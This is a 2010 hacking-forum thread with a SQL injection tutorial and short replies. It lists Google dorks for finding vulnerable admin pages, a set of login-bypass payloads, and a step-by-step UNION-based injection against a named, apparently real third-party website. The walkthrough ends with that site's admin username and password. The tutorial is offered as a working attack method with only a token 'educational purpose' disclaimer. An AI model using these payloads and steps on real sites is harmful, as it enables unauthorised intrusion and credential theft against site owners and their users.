![]() |
|
My SQL injection complete tutorial :) - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials) +--- Thread: My SQL injection complete tutorial :) (/Thread-My-SQL-injection-complete-tutorial) |
My SQL injection complete tutorial :) - V1P3R - 12-07-2010 Introduction: Hello every one . I am going to share with one of the best of my tutorials here . Now Let's begin!! Sql injection (aka Sql Injection or Structured Query Language Injection) is the first step in the entry to exploiting or hacking websites. It is easily done and it is a great starting off point. Unfortunately most sqli tutorials suck, so that is why I am writing this one. Sqli is just basically injecting queries into a database or using queries to get authorization bypass as an admin. Things you should know : Data is in the columns and the columns are in tables and the tables are in the database . Just remember that so you understand the rest . PART 1 Bypassing admin log in Gaining auth bypass on an admin account. Most sites vulnerable to this are .asp First we need 2 find a site, start by opening google. Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect" There is a large number of google dork for basic sql injection. here is the best: Code: "inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"the site should look something like this : ADMIN USERNAME : PASSWORD : so what we do here is in the username we always type "Admin" and for our password we type our sql injection here is a list of sql injections Code: ' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'username:Admin password:'or'1'='1 that will confuse the site and give you authorisation to enter as admin If the site is vulnerable than you are in ![]() PART 2 Finding Sites to Inject Finding SQLI Vulnerable sits is extremely easy all you need to do is some googling. The first thing you need to do are find some dorks. Download SQLI dorks list from here : http://zyan.me/UVkJP PS:I didn't put them in the thread because i passed count limit... Pick one of those dorks and add inurl: before it (If they do not already have it) and then copy and paste it into google. Pick one of the sites off google and go to it. For example the url of the page you are on may look like this : Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 To check that it is vulnerable all you have to do is add a ' So our link should look like that : Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10'Press enter and you get some kind of error. The errors will vary... Our page should look like that : Spoiler:![]() After you find your vulnerable site the first step you need to take is to find the number of columns. The easiest way to do this is writing "order by " column number and we add "--" after the number. Our link should look like that : Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 15--If you get an error that means you should lower the number of columns . Let's try 10. Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 10--The page opened normally that means the number of columns is between 10 and 14. We try now 11. Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 11--The page opened normally too... Let's try 12. Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 12--We got error . That means the columns number is 11 because we got error on 12 and 11 opened normally . Finding Accessible Columns Now that we have the number of columns we need to get the column numbers that we can grab information from. We can do that by adding a "-" before the "10" replacing the " order by # " with "union all select " and columns number Our link should look like that : Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=-10 union all select 1,2,3,4,5,6,7,8,9,10,11--We should get numbers . Our page should look like that :] Spoiler:![]() For the end part of the url, (1,2,3,4,5,6,7,8,9,10,11) You put the number of columns you found in the first step. Since I found that the site I was testing had 11 columns, I put 1,2,3,4,5,6,7,8,9,10,11-- These numbers are the colum numbers we can get information from. We will replace them later with something else so write them down if you want. Getting Database Version We found that column 8 , 3 , 4 and 5 are vulnerable so we will use them to get the database version . Why Do We Do That? If database is under 5 that means we will have to guess the tables names To do that we need to replace one of the vulnerable columns by "@@verion" Let's take column 8. Our link should look like that : Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=-10 union all select 1,2,3,4,5,6,7,@@version,9,10,11-- The page should look like that :] Spoiler:![]() In our case we got "5.0.77" its >5 so we can continue. Now we need to get the table name we want to access : To do it we need to replace "@@version" with "table_name" and add after the last columns number "from information_schema.tables" and add the "--" in the end . Link should be like that: Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=-10 union all select 1,2,3,4,5,6,7,table_name,9,10,11 from information_schema.tables-- Page should look like that :] Spoiler:![]() Now we will search the table we want to access . We should fine something with admin on it and in our case it's tbladmin Spoiler:![]() Now we need to get the ASCII value of "tbladmin". What is ASCII? http://en.wikipedia.org/wiki/ASCII_value Now to get the ASCII value of "tbladmin" go to that site : http://getyourwebsitehere.com/jswb/text_to_ascii.html Spoiler:![]() Now enter in first box the table name wich is "tbladmin" in our case and click convert to ASCII. You will get as value that : Code: tbladminIt should be like that: Code: 116,98,108,97,100,109,105,110Spoiler:![]() Now we replace in the URL the "table_name" to "column_name" and change "information_schema.tables" to "information_schema.columns and add "where table_name=char(ASCII value)-- in our case at place of (ASCII value) we put (116,98,108,97,100,109,105,110)-- Our URL should look like that : Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=-10 union all select 1,2,3,4,5,6,7,column_name,9,10,11 from information_schema.columns where table_name=char(116,98,108,97,100,109,105,110)--Our page should be like that: Spoiler:![]() Now we search for the columns named "username" and "password" or something like that . In our case it is "username" and "password". Now we can delete most of the URL . Remove everything after the 11 and add : "from tbladmin" And replace "column_name" with "concat(username,0x3a,password) 0x3a is the ASCII value of a : so we can separate the username from the password. Our URL should look like that: Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=-10 union all select 1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11 from tbladminOur page should look like that : Spoiler:![]() And you're done the username is ishir and password ishir123 Some times password is encrypted with Hashes . Use my HASH detector to know what it is and decrypt online. Code: http://zyan.me/lVzKzAnd We're Done ! Files are password protected... how to get the password? like this page http://zyan.me/evBci and pm me your username on Facebook. Time it took me to write the tutorial : 3 days Time it takes you to say thanks : 3 Seconds Please note that i do not take any responsibility for any of your actions, this tutorial is used for testing and educational purpose. V1P3R RE: My SQL injection complete tutorial :) - lashai - 12-28-2010 put again your tutorial for noobs or USE Havij
RE: My SQL injection complete tutorial :) - V1P3R - 12-30-2010 (12-28-2010, 11:06 PM)lashai Wrote: put again your tutorial for noobs or USE Havij by saying that we can see that your a script kiddy :/ RE: My SQL injection complete tutorial :) - V1P3R - 12-31-2010 you just got reported for pasting my thread without asking me RE: My SQL injection complete tutorial :) - 1llusion - 12-31-2010 thanks hehe new era of my offensive security activity starts with this
RE: My SQL injection complete tutorial :) - Th3Proph3t - 12-31-2010 I love the way you relayed out this tutorial Viper. Beautiful work on this mate. Thanks. RE: My SQL injection complete tutorial :) - V1P3R - 01-01-2011 haha glad you liked it guys
RE: My SQL injection complete tutorial :) - V1P3R - 01-04-2011 good luck ![]() 2short message.... Thanks alot sage ![]() I am glad to be one of yours =D RE: My SQL injection complete tutorial :) - Fastio - 01-05-2011 Ty for the tutorial very well done I have detect a erro Quote: http://www.*snip*.org/newsd...php?id=-10 0union all select 1,2,3,4,5,6,7,@@version,9,10,11-- is Quote: http://www.*snip*.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,@@version,9,10,11-- Have Fun xD RE: My SQL injection complete tutorial :) - V1P3R - 01-08-2011 yea lol your right :o |